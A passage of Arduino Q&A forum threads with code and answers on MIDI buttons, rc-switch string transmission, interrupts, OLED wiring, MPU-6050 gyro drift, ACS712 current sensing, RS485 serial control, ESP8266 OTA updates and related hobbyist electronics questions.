  if (button2.risingEdge()) {
    usbMIDI.sendNoteOff(62, 0, channel);  // 62 = D4
  }
  while (usbMIDI.read()) {
  }
}

Second sketch:

/*********************
Simple toggle switch
Created by: P.Agiakatsikas
*********************/

int button = 0;
int led = 13;
int status = false;

void setup(){
  pinMode(led, OUTPUT);
  pinMode(button, INPUT_PULLUP); // set the internal pull up resistor, unpressed button is HIGH
}

void loop(){
//a) if the button is not pressed the false status is reversed by !status and the LED turns on
//b) if the button is pressed the true status is reveresed by !status and the LED turns off

if (digitalRead(button) == true) {
  status = !status;
  digitalWrite(led, status);
} while(digitalRead(button) == true);
  delay(50); // keeps a small delay
}

I'd suggest creating an array of MIDI button structs. For each entry you'd have a button object, an LED pin, and a BOOL to track the state of thate button.

Write a function that loops through the array of structs, checks the state of each one, and does the work to play/stop the notes and toggle the LED states based on the state of each button.


How to transmit string data using the rc-switch library? I am using the rc-switch library for sending and receiving data. In rcswitch library, there is no method to send string data. I am using below method to send the string message in char buffer.

send_string("Hello World!");
---------------------------

void send_string(const char *str)
{
int i = 0;

for (char *p = str; *p; p++ ) {
mySwitch.send((i<<8) + *p, 16);
i++;
}
mySwitch.send((i<<8) + 255, 16);
}

And I am receiving is using this Serial.print((char)mySwitch.getReceivedValue()); build in method. But I am getting this message.

H
H
H
e
e
e
l
l
l
l
l
l
o
o
o

W
W
W
o
o
o
l
l
l
d
d
d
!
!
!

Now how can I get my original message?

The communication protocol used by this library is unreliable. Thus,
each code word is sent multiple times, 10 times by
default. One solution around this problem is to send
a “byte number” along with each byte you transmit. You would then
transmit 16-bit words, where the MSB (most significant byte) is the byte
number, and the LSB is the actual byte you want to transmit. Something
like this:

int i = 0;
for (char *p = str; *p; p++) {
    mySwitch.send((i<<8) + *p, 16);
    i++;
}

Oh, wait! That's exactly what you are already doing! So it appears that
you are already aware of this issue and you have even implemented a
solution. How come you are asking this question then?

OK, I'll assume in the following that you just forgot to tells us that
the code snippet above is not from you, and that you didn't even
understand what it is doing. And you also forgot to provide a link to
the source of that code. Please, next time read How do I ask a good
question? before asking, and provide all the relevant
information right in the question.

So now the problem is in the reading side. You have to use those byte
numbers to remove the duplicates. One (untested) solution could look
like this:

// Return a received byte, or -1 if none is available.
int receivedValue()
{
    if (!mySwitch.available())  // no byte available
        return -1;
    static uint8_t last_byte_number = 0xff;
    uint16_t code = mySwitch.getReceivedValue();
    uint8_t this_byte_number = code >> 8;
    if (last_byte_number == this_byte_number)  // this is a duplicate
        return -1;
    last_byte_number = this_byte_number;
    return code & 0xff;  // LSB is the byte to return
}

And you could use it to print the data on the serial monitor like this:

int c = receivedValue();
if (c != -1)  // if we really got a new byte
    Serial.write(c);


Interrupt problem...? I am working on a code including interrupts. They, however, refuse to work, even in this simple code that could be the most basic example of interrupts.

In this simplified extract I have a momentary push button attached to an Arduino Pro Mini's PIN 2, with the other side grounded. I have this code uploaded:

#include <Encoder.h>   // is this library the cause??...

#define PIN_1 4
#define PIN_2 3 //interrupt pin    //using these for a rotary encoder, not in this extract
#define PIN_B 2 //interrupt pin    // the rotary encoder also works as a push-button

void setup() {
  pinMode(PIN_B, INPUT_PULLUP);
  Serial.begin(9600);
  attachInterrupt(PIN_B, ButtonPressISR, FALLING);
  attachInterrupt(PIN_B, ButtonReleaseISR, RISING);
}

void loop() {
  Serial.println("Don't interrupt me");
  delay(10);
}

void ButtonPressISR() {
  Serial.println("Yay, I'm pressed!");
  delay(1000);
}

void ButtonReleaseISR() {
  Serial.println("Yay, I'm released!");
  delay(1000);
}

One would expect that without action, the Arduino floods the serial console with "Don't interrupt me". And that's correct.

When I press the button, however, nothing on Earth happens, neither of the interrupt service routines starts. No matter how hard I try, "Yay, I'm pressed" and "Yay, I'm released" never appears on the console output, and the 1 s delay never happens.

The circuit, shown below, is tested with a multimeter, and is error-free. Pin 2 does get pulled down, and back, upon button press/release.

simulate this circuit – Schematic created using CircuitLab

Neither delay or print should be used in an interrupt routine as they use interrupts themselves, instead set a flag (usually a volatile variable) and test for that in the loop. Also be aware that due to contact bounce the interrupt will trigger multiple times for each button press.


Confused between SPI and I2C for SSD1306 OLED I recently got myself an SSD1306 OLED display:

I haven't been able to successfully wire it to an Arduino (Mega 2560) however. I have been reading up on I2C and SPI and checked some libraries from Adafruit and U8G2.

However, I'm confused, since most of the Internet is talking about a similar OLED display with GND - VDD - SCL - SDA labelled pins, where mine has SCK instead of SCL.

Now, the number of pins make me believe I need to interface with I2C, but the SCK label points to SPI, right?

One person seemed to have the same problem as me, but the solution he got (pull-up resistors) didn't do the trick for me, I'm afraid.

So, my question remains: how to wire this OLED display to the Mega 2560?

Much appreciated if someone could point me to the right direction.

Thanks!

SCK and SCL are the same thing.

Serial ClocK
Serial CLock

They seem to be interchangeable. The fact you have SDA (Serial DAta) as opposed to separate SDI / SDO or MOSI / MISO pins means it's I2C.

Wire it like you would any other I2C device.


MPU-6050 - angle drift Setup

Windows 7 Entreprise
MPU-6050 : GY-521 breakout
Arduino Nano (chinese) with CH340 FTDI driver
Arduino IDE 1.6.12
Library for the gyro

Problem

When I run my code, the MPU will detect the angles at a good enough accuracy, but when I leave it on the table, the MPU starts drifting. Its not anything major, yet, but on something like a rocket guidance system, these values can srew up many things.

Actual questions

Is this a common problem?
Why is this happening?
What is the best way to solve it?

Note

I'll include the code if you guys really need it, but I doubt its the problem because multiple codes have had the same problem.

Please do not recommend any other gyros.

Is this a common problem?

Yes it is. The drift is a common problem.

  Why is this happening?

The drift results, in general, from the fact that to calculate the angles it is made an integration. The errors and noises present in the inicial variable before integration (in this case angular velocity) will be "summed" over time.
For simplicity, let's say your gyro is perfect with noise free but it has a small offset , and lets considere only rotation in one axis, meaning:

Ang_Velocity(x) = Real_Ang_Velocity(x) + offset_x

if this was the case, the sensor standing still should output only:

Ang_Velocity(x) = 0 + offset_x

now using the integral over time results in an output of:

Angle(x) = int[Ang_velocity(x)] = offset_x * t

For example note that using a simple 0.01 offset over axis x, causes the sensor to output 1rad angle after 100 seconds and in fact the sensor didn't move at all.

Taking this as example the sources of errors I'm aware of are:

offset: already talked
scale factor:  is the relation between input and output
scale factor linearity: sometimes the scale factor at slow speeds are not the same as speed increases.
temperature: (not 100% sure!) this changes the sensitivities of axis. Majority of digital sensores already come with an integrated temperature sensor. If not auto compensated, there will be probably information on the datasheet to guide you how to compensate for this. If your application will not take high temperature variations, it is common sense to let the sensor achieve thermal internal stability and then do a simple calibration.
Random Walk: This is probably the hardest to process. In general is assumed that the noise is a normal distribution with mean of zero and a certain variance (white noise). If that was true, the integral over time, as time increases would go to zero (because the mean is zero). However, the noise is usually not evenly distributed in the spectrum, causing the integral to not tend to zero (Brownian noise).

  way to solve it?

The first two are simple using calibration. You must do a series of tests at diferent rotation speeds to determining the non-linearities, offsets (at zero speed) and scales factors for each axis.
Then your sensor equation of the module should take acount for this facts. Usually the sensor datasheets describes the equation to be used.
Take a look at IMU_Zero in the repository you gave.

As for the other two, it depends on the application. Typically the temperature will be considered stable after a few working minutes. If temperature is important datasheet will probably be your best friend.

As for random walk. The most common use to take into account corrections of this is to use an accelerometer (and in some cases magnetometer) and apply a sensor fusion algorithm generally denoted as AHRS.
Some examples go as:

Sebastian Magdwick - Open source IMU and AHRS algorithms
Extended Kalman Filter
Direction Cosine Matrix filters
Complementary filters

If you really want to model the noise of the sensor to improve the result, you probably should search for Allan variance but you will need a lot of basis in stochastic processes and statistical theory

Some devices like yours already have an Motion processor built-in, that makes a similar application of (probably) one of these filters. See examples MPU6050_DMP6.ino

If you just want an implementation, just google for AHRS arduino. Github as a lot of examples used by other sensors that are easy to adapt. For instance and this

More information on IMU errors


ADS1115, ACS712 and ESP8266 I have an ACS712 (5v sensor), an ADS1115 (5 or 3.3v) and an ESP8266 board (3.3v).

I know I can't directly use the ACS with the ESP without a voltage divider on the analog pin. So I figured I could run the ADS and the ACS off 5 volts as the ADS communicates over I2C. Does this cause any issues with the SDA/SCL lines on the ESP?

What is the correct way in going about this?

The SDA line of of ADS1115 will use 3.3 V if you power it with 3.3 V, but then the maximum analog input voltage would be 3.6 V (VDD + 0.3 V).

The ACS712 has the middle value at 2,5 V so to read it you need the 5 V range and must power the ADS1115 from 5 V. Then the SDA line of esp8266 will be connected to 5 V logic level, but the esp8266 pins can handle 5 V TTL communication currents.

The SCL line is driven from master (esp8266) at 3.3 V and the ADS1115 is good with it.


Arduino Mega Shield Library for Eagle CAD I'm a noob to PCB designing and electronic stuff. I want to design a pcb shield which is compatible with an Arduino mega 2560. I'm using Eagle CAD. I checked the sparkfun library but I couldn't find a way to design Mega Shield. Can anybody give me a library or any alternative way to do this?

Since you're new user, perhaps it's easier to take an existing project and modify it for your need.
For Eagle, examples can be found on Github.

https://github.com/zortness/rocket-mega-shield
https://github.com/practicalarduino/ProtoShieldMega

However, due to recent developments in the PCB EDA world I would suggest you take a look at Circuit Maker. It's more fit for sharing an collaborating designs and libraries. You can easily fork an existing board and use their community parts repository.


How Do I Properly Ground my Arduino Leonardo using Capacitive Sensor? Hi we are using Arduino Leonardo with some electric paint and Capacitive Sensor Libraries. We have a lot of variance in our Serial output from our sensors, we believe if we grounded the Arduino we would have more concrete values.

On the Capacitive Sensor doc, it reveals to use a small capacitor to put on one of the pins. More details!
Another guide somewhere says to wrap the Arduino in plastic and tin foil. These are vague, and we have not landed success when we tried.

Has anyone had success grounding Arduino Leo? Thank you.

The documentation for that library is recommending that you place a 100 pF capacitor between the sense pin and ground.

However, I personally suspect you will get the best results when the user's presence affects at small mutual capacitance between a sense surface and a ground surface.

One idea could be to have a large ground plane, and on it a smaller insulated "sense" plate.

Another could be to run two parallel traces in a spiral filling a large area

Do take care to secure you wires - they are part of your sensor too, and if they move relative to each other they will alter the baseline.  Any other mobile cables in the vicinity can have the same effect, especially if they contain a ground that can exhibit capacitance to the sense node.


4 Pelteir Plate Water Bottle wired to Arduino Uno Note - I plan to use the Arduino Starter kit to make this project.
Hey everyone,
I've had an idea for a project recently and I would like to get some insight on its plausibility. Is it possible to heat and cool a bottle of water using 4 pelteir plates? I'd like to heat up or cool a bottle of water using 2 pelteirs for heating and 2 for cooling. Could the amount of power for the peltiers to function be supplied from a laptop, computer, or battery pack? The role of the Arduino is to program in some safety features or some things to help the circuit function better if necessary. For example, a feature I want to add in is if the cold pelteirs are on, the hot peltiers are off if nessecary. I might add an LCD to display which setting is on/off if I can (example: Cold: ON, Hot: OFF)
Thanks guys.

When it comes for amount of power from laptop, then this is not realy reasonable to expect even USB3, maybe some older laptops PCMCIA, or hardware docks. When it comes to Desk, They would have to be adjusted to get the ATX from PSU (it would have to be upgraded for purpose) We are still talking about a small Can or Yacult botle...
Even then insulate, insulate (and same again)
Then its a question of speed and how hot or cold) Battery pack that charges even when not used, used as buffer might work (for a short time).Controlling it from Arduino is easy part using function that switches one on other off whenever you want and then calling the function itself to make sure both steps happen, rather then manualy editing or using one output for controlling power on/off and another on two way relay switching between sets (relay would increase consumption here).


What's wrong with the ACS712 sensor? I have two ACS712 sensors, one rated for 5A, another—for 20A.
I wanted to test how precise they are, and played with different devices (in my case, old PC fans). I copy-pasted the source code from here, and changed only the Vref value as expected, so that I get a measurement of zero when there is no current. I double-checked, the value remains zero for both ACS712 sensors. The sensor (or the multimeter) is connected in series. Only one sensor (or multimeter) is connected at the same time.
Here's the data I get. Values in parenthesis correspond to the percentage of the value compared to the one got with a multimeter.

Setup
Measured bya multimeter
Measured byACS712 5A
Measured byACS712 20A

Old CPU fan
87 mA
73 mA (84%)
49 mA (56%)

UPS fan rated 1.9 W
174 mA
170 mA (97%)
97 mA (55%)

Two fans together
0.25 A
244 mA (98%)
146 mA (55%)

Server fan rated at 0.6 A
0.49 A
463 mA (95%)
268 mA (55%)

Three server fans
1.35 A
1,293 mA (96%)
683 mA (51%)

While the 5A variant seems to be slightly off (another possibility would be that the multimeter is off and the ACS712 measurements are exact), things are very different for the 20A-rated counterpart: its values are wrong initially, and for higher current, they are getting wronger.
Why is it so? Is it broken, or have I missed something?

Your problem is that you are trying to measure motes of dust with a yard stick. The yard stick is great at measuring things in inches and feet, but when you want to find the size of something that's around 1mm in size all you can say is "it's less than an inch" or "smaller than an eighth of an inch".
You have to remember that a 20A sensor has to fit that whole range of 0-20A - that's 0-20,000mA into half the range of the ADC. That's at most 512 graduations on an Arduino, and since you can usually count on "±1 LSB quantisation noise" you really only get half that as a usable value. So you're looking at a resolution of about 40mA at best with an accuracy of  ±40mA. When you want to measure small currents they're just going to get lost in the lack of resolution. At 100mA you're still only in the range of just "There might be a current there, somewhere".
For measuring current you need to size your sensor / shunt appropriately to the range of the currents you're sensing. If you're working with small variations in a large DC current then pre-conditioning the sensing to change the offset and amplify the interesting part of the signal is required, so that the signal isn't swamped by the underlying offset. If you're working with small currents then you require a sensor / shunt that gives you an appropriate signal for that current range.
Additionally, different variants of the sensor have different sensitivity: 185 mV/A for the 5A model, and 100 mV/A for the 20A model. The code you are using doesn't take this in account. Using the correct sensitivity, the last value in your table, 683 mA, becomes 1,264 mA (683×185/100=1264). This is close enough, if you consider the ±40mA accuracy.


How to modulate my IR sensor? I'm looking to use a simple IR sensor out in bright sunlight, which means hell lot of distortion. Is there any way I can modulate it using my Arduino UNO so that it isn't affected by sunlight and other ambient light sources?

The IR sensor is just like this one.

There is little information on the Amazon page about these devices.  Only that the output is digital (only on and off) and that the sensitivity is controlled manually by an on board pot.  It would appear impractical to enhance this type of device with out detailed specifications and / or a schematic.

If you would prefer using software to solve some of the problems you listed, I would suggest you use an IR parallax (not the company, the technique) distance sensor with an analog output.  That way the Arduino Uno's analog input can be used to read the sensor and software (sketch) can process (filter) the data before it is put to use.

Added later...

Here is an article describing how to use an IR parallax distance sensor.  Here is an Arduino library design to work specifically with the Sharp IR parallax distance sensor.


How to flash the "atmega328" with AVRDUDE? I have an external device using an ATmega328, not a ATmega328-P as used by the Arduino Uno.

Now I want to use AVRDUDE and an Arduino Uno to flash a hex file on this chip. Therefore I removed the ATmega that came with the Arduino and popped in the one without the "-P".

With the Arduino IDE, it doesn't work, so I tried AVRDUDE:

avrdude -c arduino -P com3 -p ATMEGA328 -b 19200 -U flash:r:sdint.hex:r

However, I'm doing something wrong here, because it does not work:

  avrdude: stk500_recv(): programmer is not responding
  avrdude: stk500_getsync() attempt 1 of 10: not in sync: resp=0x00
  avrdude: stk500_recv(): programmer is not responding
  avrdude: stk500_getsync() attempt 2 of 10: not in sync: resp=0x00
  ...

What commandline should I use to flash an Arduino Uno with an ATmega328?

This seems to be quite a common problem, and there are a number of problems, each with their own solution.

Make sure you have selected the right chip
Make sure you have selected the right serial port (when you unplug your board, it should disappear).
Make sure you do not have anything plugged in to the tx & rx pins (usually 0 and 1).
Make sure your Atmega chip has a bootloader on it
Try another cable
There may be a problem with your computer - try another computer
If using another helps, try reinstalling the USB serial driver
Try unplugging the Arduino board, holding down the reset switch, then plugging it in (still holding down reset); continue to hold down reset for about 5 seconds.
make sure nothing else is trying to use your serial port
Does your chip have a bootloader? Chips bought as part of an Arduino will, otherwise, it almost certainly doesn't, unless it specifically says (in the description of what you bought).

If it does not have a bootloader (or may not have a bootloader) you will need to set this up. You can either use the instructions here: https://www.arduino.cc/en/Tutorial/ArduinoToBreadboard (which I never got working) or you can use an ICSP like the http://www.freetronics.com.au/products/usbasp-icsp-programmer-for-avr-arduino#.VlIY_2xifXs (which is what I use) - works great. They can be had for a few dollars from China.


Unreliable serial communication from Arduino Mega I'm using an Arduino Mega to send serial commands to a device that supports RS485 or RS422 half-duplex. To do this, I'm using the following code:

bool foo(int A, int B)
//...
//Const global int to byte 1&2
//Math on int A and int B to make bytes 3-8
//...
  unsigned char cmd[8]={[byte1],[byte2],[byte3],[byte4],[byte5],[byte6],[byte7],[byte8]};
  while(rep)
  {
    for (int i=0; i< 8; i++)
    {
      Serial2.write(cmd[i]);   // Send C string
    }
    if(Serial2.available())
    {
      //device echoed == command recieved
      rep=false;
    }
  }

The odd thing is that sometimes the loop gets it right on the first try, other times it takes 50+ tries to receive a command. This makes me think that there is something in my code that is making the data transmission unreliable. I believe it could be one of the following three things.

I still need an RS485 module

In a previous version of my software, I was using the software serial library and used an RS485 module similar to the one shown here:

As I'm no longer using the software serial library and instead using the Mega's Serial2 port, I thought I could get rid of the module. Is this incorrect? If so, why would the commands work after N attempts as opposed to never working at all?

Looping the Serial2.write()

Previously, while using the above module, I had to have two lines of code that would shift the DE and RE pins high or low depending on if I was sending or receiving data. I realized that these needed to be outside the for (int i=0; i< 8; i++) loop as otherwise, the device would not be able to read/understand the data being passed. Do I need to reimplement some version of this with the Arduino Mega's native serial? If so, how would I do this?

I'm Not supporting a tri-state the transmit buffer

I was rereading the device's manual and found this line:

  The converter must have the hardware and software support to tri-state the transmit buffer following the message transmission.

Honestly, I have no idea what this means. Does Arduino do this? If not, how can I make this happen?

Additional things of note:

I'd much rather use something like Majenko's pointer way to send data to my device so that I could make the code not rely on the fact that there are always 8 bytes transmitted. However, sometimes a byte will be \0 (or any other termchar) which would stop the loop prematurely. Is there a way to avoid this?
I'm still pretty new here, Is there some way that I can do this better than the way I'm currently doing it?

As I'm no longer using the software serial library and instead using the Mega's Serial2 port, I thought I could get rid of the module. Is this incorrect? If so, why would the commands work after N attempts as opposed to never working at all?

You still need the module. RS-485 and RS-422 are electrically incompatible with CMOS.

  Previously, while using the above module, I had to have two lines of code that would shift the DE and RE pins high or low depending on if I was sending or receiving data. I realized that these needed to be outside the for (int i=0; i< 8; i++) loop as otherwise, the device would not be able to read/understand the data being passed. Do I need to reimplement some version of this with the Arduino Mega's native serial? If so, how would I do this?

Absolutely. Also you need to flush the serial after transmitting and switching back to receiving:

digitalWrite(DE_PIN, HIGH);
Serial2.write(cmd, 8);
Serial2.flush();
digitalWrite(DE_PIN, LOW);

Flushing the serial pauses your program until the entire command has been transmitted. That means not only sent from the TX buffer to the TX FIFO in the UART hardware, but also the last byte from the FIFO has been shifted out onto the wire. If you don't do that your command will get truncated by the transceiver module as you switch back to receive mode prematurely.

Note: I forget which is which for the DE pin - HIGH/LOW or LOW/HIGH. Change it appropriately. Also note that you don't need to manually loop - the Serial code already has that facility for you.

  The converter must have the hardware and software support to tri-state the transmit buffer following the message transmission.

That is what the DE/RE pins do - switch the module between active drive (transmit) and high-impedance (receive).

  I'd much rather use something like Majenko's pointer way to send data to my device so that I could make the code not rely on the fact that there are always 8 bytes transmitted. However, sometimes a byte will be \0 (or any other termchar) which would stop the loop prematurely. Is there a way to avoid this?

That is only applicable with strings. With binary data you always have to know the length (though that doesn't have to be hard coded). All you need is a maximum length for any buffers you have.

  I'm still pretty new here, Is there some way that I can do this better than the way I'm currently doing it?

Besides my notes above, this method:

while(rep)
{
  for (int i=0; i< 8; i++)
  {
    Serial2.write(cmd[i]);   // Send C string
  }
  if(Serial2.available())
  {
    //device echoed == command recieved
    rep=false;
  }
}

is completely wrong. You are sending a command and then immediately looking for a response. You haven't given that response time to either be generated by the remote end or be received by the Mega.

Instead it should be:

Send the command.
Look for some response data
If some data has arrived then add it to the response buffer
If the whole response has not yet arrived go back to 2

You can also add 2.5: if it's been checking too long then abort with a "timeout".


Wrong computation Number im trying to make a speedometer with arduino Nano Board but when i use interrupt im getting "strange" number on variables t1 or t2 going under 0 there is the code:

volatile int impulsi =  0;
int impulsiOld = 0;
volatile int appoggio = 0;
//static int inizioDiNuovo = 0;
volatile unsigned int deltaT[3];
long t1=0;
long t2=0;

void setup() {
  Serial.begin(9600);

  pinMode(2, INPUT_PULLUP);
  attachInterrupt(0, definisciTempi, RISING);

}

void loop() {

  Serial.println(impulsi);
  if (impulsi == impulsiOld || impulsi > impulsiOld)
  {
    ;
  }
  //Serial.print("N IMPULSI: ");
  //Serial.println(impulsi);
  if (appoggio == 3) {
    appoggio = 0;
    Serial.print("DELTA T 0 : ");
    Serial.println(deltaT[0]);
    Serial.print("DELTA T 1 : ");
    Serial.println(deltaT[1]);
    Serial.print("DELTA T 2 : ");
    Serial.println(deltaT[2]);

    t1 = (deltaT[1] - deltaT[0]);
    if (t1 == 0) {
      t1 = 1;
    }
    t2 = (deltaT[2] - deltaT[1]);
    if (t2 == 0) {
      t2 = 1;
    }
    int t = t1 + t2;

    Serial.print("TEMPO T1 ");
    Serial.println(t1);
    Serial.print("TEMPO T2 ");
    Serial.println(t2);

  }

}

void definisciTempi() {
  impulsi++;
  switch(appoggio){

    case 2:
    //Serial.println("ASSEGNO DELTA T 2");
    deltaT[2] = millis();
    //Serial.println(deltaT[2]);
    appoggio = 3;
    break;

    case 1:
    //Serial.println("ASSEGNO DELTA T 1");
    deltaT[1] = millis();
    appoggio = 2;
    break;

    case 0:
    //Serial.println("ASSEGNO DELTA T 0");
    deltaT[0] = millis();
    appoggio = 1;
    break;

  }
}

how suggest i changed

unsigned int t1=0; unsigned int t2=0; into `long t1=0; long t2=0;`

output on Serial now have negative number it's for the interrupt??:

DELTA T 0 : 8785
DELTA T 1 : 8666
DELTA T 2 : 8706
TEMPO T1 40
TEMPO T2 -119  <------how 8706-8666= -119 ?

this is my pulse generator code:

const int pin = 2;
void setup() {
  pinMode(pin,OUTPUT);

}

void loop() {
 digitalWrite(pin,HIGH);
 delay(40);
 digitalWrite(pin,LOW);
 delay(40);
}

unsigned int t1=0;
unsigned int t2=0;

Integers on an 8 bit system can only store 16 bits of data. For unsigned that is 0 - 216-1, or 0 - 65535.

Make them unsigned long and they can store 0 - 232-1, or 0 - 4294967295.

Also, since they are unsigned, any negative value will wrap around to the maximum again. An unsigned can't store a negative value.


ESP needs a reboot after wifi OTA flash I would like to use OTA in some of my less accessible esp's. I am using the examples/BasicOTA and BasicOTA_test. My esp is a -01 model with 1Mb of flash.

I upload the BasicOTA to my esp through the COM port, then upload the BasicOTA_test over WiFi.  Everything appears to go OK, but the test sketch doesn't run until I press reset on the esp.

If I upload BasicOTA over the com port then upload a simple blink sketch over WiFi without the OTA code, it uploads fine then runs without a reset.  But then, I can't upload over WiFi anymore.

If I have to hit reset every time I upload a new sketch that contains the OTA code, then why bother?

Tips would be appreciated.

You can add ESP.restart() in the following line to make it restart.

ArduinoOTA.onEnd([]() {
Serial.println("\nEnd");
ESP.restart();
});

Now you can upload code each time without hitting reset.


Problems controlling servos using proximity sensor I've just started using Arduino and I need to make a code to simulate the behavior of a lizard, meaning that if you come close to it, it moves away from you.

I'm using a "Arduino duemilanove" that my university lend me, I was told that it was an alternative version of Arduino Uno.

Both of the servos says "Tower Pro, mg996r, digihi-speed"

Looking different codes I made one which I think is correct. Also, I checked for each servo motor (I'm using two) and the proximity sensor running codes for everyone of them alone, if they worked well and they did but with this code, they supposed to move when you are closer than a meter but they don't stop spinning.

If anyone could help me with this, it would be great.

Here is the code:

#define Servo1 9
#define Servo2 11
#define trigPin 10
#define echoPin A0

#include <Servo.h>

Servo servo1;
Servo servo2;

int pos = 0;    // variable to store the servo position

void setup() {
  Serial.begin (9600);
  pinMode(echoPin, INPUT);
  pinMode(trigPin, OUTPUT);
  pinMode(Servo1, OUTPUT);
  pinMode(Servo2, OUTPUT);
  servo1.attach(9);
  servo2.attach(11);

}

void loop(){
  long duracion, distancia; // variables

  /* Hacer el disparo */
  digitalWrite(10, LOW);
  delayMicroseconds(2);
  digitalWrite(10, HIGH);  // Flanco ascendente
  delayMicroseconds(10);        // Duracion del pulso
  digitalWrite(10, LOW);  // Flanco descendente

  /* Recepcion del eco de respuesta */
  duracion = pulseIn(A0, HIGH);

  /* Calculo de la distancia efectiva */
  distancia = (duracion/2) / 29.1;

  if (distancia<100){
    for(pos = 0; pos < 180; pos += 1)  // goes from 0 degrees to 180 degrees
    {                                  // in steps of 1 degree
      servo1.write(pos);    // tell servo to go to position in variable 'pos'
      servo2.write(pos);
      delay(15);                       // waits 15ms for the servo to reach the                 position
    }
    for(pos = 180; pos>=1; pos-=1)     // goes from 180 degrees to 0 degrees
    {
      servo1.write(pos);              // tell servo to go to position in variable                 'pos'
      servo2.write(pos);
      delay(15);                       // waits 15ms for the servo to reach the position
    }

  }
  else{
  }
}

I am new to servos as well, but I do have two coding thoughts. The servos I have used in the past have started in the halfway position. That would mean the "pos" variable would start off trying to go from the starting 90 position to the 0 value in 15ms. Not enough time before the next for loop. I could see that causing some weird spinning while the servos try to get to the intended position. So..

int pos = 90; // Start servo position.

And secondly, the "distancia" could just always be less than 100. I would try finding a max distance value to compare to vs a hard coded value.

void loop() {...
long duracion, distancia; // variables
boolean isMoveTrigger = false; // Movement trigger.

/* Calculo de la distancia efectiva */
distancia = (duracion/2) / 29.1;

// Store a maximum value.
if (distancia > maxDistance) {
    maxDistance = distancia;
}

// Wait to get a starting maximum distance value.
if (countDown > 0) {
    countDown--;
} else {
    if (distancia > 0) {
      int distancePercentage = (maxDistance * 100) / distancia; // A 0-100 percentage of the maximum value.
      // Then trigger the movement when less than this percentage.
      isMoveTrigger = distancePercentage < 50;
    }
}
if (isMoveTrigger) {
    for(pos = 0; pos < 180; pos += 1) ...


Wake up a PC from an Uno I want to wake up a PC via a USB-connected Arduino. When using a Pro Micro (Leonardo) I can do it, as its HID interface can wake up a PC. That is, in the Device Manager, under "Keyboards", the relevant HID device under "Power Management" has an "Allow this device to wake-up the PC" checkbox.

However, I need to use an Uno for this project. There's a hack (see link below) which flashes the ATMega16U2 on an Uno to act as a HID keyboard. It works fine, but this HID keyboard on a flashed Uno does NOT have the "Allow this device to wake up the PC" checkbox, i.e. I can't wake up my PC. I tried, the PC doesn't wake up. I know I can use an Ethernet shield on an Arduino to send a Wake up on LAN packet, but I don't want to add any shields, if I don't have to. Any advice how to do this?

EDIT: I was pointed to 2 libraries, NicoHood and LUFA (links below) to code a HID keyboard for the ATMega16U2 on an Arduino Uno. The problem is that acquainting myself with the subject and (either) library, would take several days, which is why I'd prefer to find an already-compiled simple HID device that does what I want. If I can't find one, I have a "dumb" solution: since the Leonardo can wake up a PC, I can hook it up to the PC, power the Uno (with my code) off the Leonardo, link one digital pin between the Uno and the Leonardo, so that the Uno can trigger a USB keystroke on the Leonardo. This is kludgy, since it uses the Leonardo just to send one USB keystroke to wake up the PC, but it would work.

LUFA

NicoHook Keyboard API

HoodLoader

Relevant links:

Arduino Uno as a USB HID Interface

Wake a touchscreen using a Pro Micro

Got it working: my Uno can now wake up a PC. I followed the HoodLoader wiki and I used the HID-Bridge sketches (below). It took about 2-3 hrs.

HoodLoader

HID-Bridge


What is the correct way to wire a piezzo buzzer with a potentiometer and a button? I'm working on a morse transmitter (kind-a), this how it looks like now:

It's working, but is it correct? My piezo buzzer is 3-24V. I use the potentiometer as a volume control. The button is for transmitting morse code.

I've seen a way of wiring like this, not using any resistors, it feels wrong, is it correct?
https://cdn.sparkfun.com/assets/learn_tutorials/3/1/0/Arduino_circuit_11_01.png

You are using the Arduino basically as a power supply (in your wiring). The linked wiring is for PWM (analogWrite). This allows pulse output to generate tone (and volume). Here is a good reference.


How to change byte to int? - Arduino I have searched everywhere, but can you please help me to get this Byte into int, there are alot of examples on the internet, but not for a beginer like me

CODE:

int Button[] = {2, 4, 7 };

byte E = sizeof(Button);

int I = (int) E;

void setup() {

  Serial.begin(9600);

  Serial.print (I); // has to be 3, currently 61

  }

void loop() {

 }

I don't know why the byte E doen't convert to a int in int I by using the  (int)E command, what would also be convinient would be to read the amount of elements directly  as an int .
(you might wonder, why I want to do this, it is beacause, I am writing a program with multiple buttons, so I just want to add another pin to the array and not have to change the "I" int( the I int is used for loops))

The code works correctly. The function sizeof() returns the number of bytes in a variable, not the number of elements. Your array is of type int, which consists of 2 bytes each. So in sum you get 6 bytes for the whole array.

What you want to do (calculating the number of elements in the array) is to divide the number of bytes in the array by the number of bytes for one element:

int I = sizeof(Button)/sizeof(Button[0]);

The conversion from byte to int worked correctly, but you really don't need it. You can calculate things with both types the same way. The only difference is the value range. Since a negative element number doesn't make sense and you surely don't want to define more than 255 buttons, you can choose yourself, what you want to use. Using byte would save you one byte of memory.


Unknown USB Device (Device Descriptor Request Failed) - Win 10 I am posting a possible solution here for any online searches happening upon this exact issue.

So I have a third party board (Mega 2560) and I was plagued with my board intermittently working, on some rare occasions it worked but in most cases it just threw me the "USB device not recognized" after plugging it into my pc.

Upon closer inspection I have noticed the following

The one coupling capacitor (Blocks DC but allows AC and signal to pass) was poorly soldered, barely making contact!

So if your pc intermittently connects to your arduino, maybe check what the physical signal path looks like, you might find something like this.

SMD soldering is not easy but here is the fix. Continuity achieved!


How to connect RedBearLab BLE shield (Or how to find Nordic_nRF8001.h)? I am trying to explore the possibilities of connecting an Arduino to Phonegap/Cordova. I have a RedBearLab BLE Shield, which I want to test the connection with. My MVP would be to get the value of a PIN to a Cordova app. Nevertheless, I couldn't make it even close.

The closest I got, it was using Don Coleman's Phonegap plugin.
I am trying his Simple Chat example.

With this example the sketch is attempting to include Nordic_nRF8001.h. Nevertheless, I can't seem to find this library. I downloaded it from various sources, but no matter what I do, my sketch still can't find the file.

The only way I could make it work was via CodeBender, but then the readings were a bit of a mess.

I'm not expecting anyone to do all the work for me, so if you can help me in one of the two directions, it would be awesome:

Figure out why I can't find that Nordic_nRF8001.h file.
Or help me find another method of BLE communication.

Later edit
Using the examples that come with RBL library, I figured out the name of the files I need to use. Now I'm running into another problem for which I opened a new question.

Thank you!

I used Arduino Create Web Editor to load the SimpleChat example. It loads with these libraries, and it works perfectly:

#include <SPI.h>
#include <EEPROM.h>
#include <boards.h>
#include <RBL_nRF8001.h>

Thanks,
Andi


Read the value of a register in arduino I want to read the value of the register (8-bit). In particular I want to read the values of:

The Timer/Counter - TCNT0 ( Adress 0x26 (0x46) )
The output compare registers - OCR0A and OCR0B.

Is there a way to read them with the Arduino program?

To convert my comments to an answer:

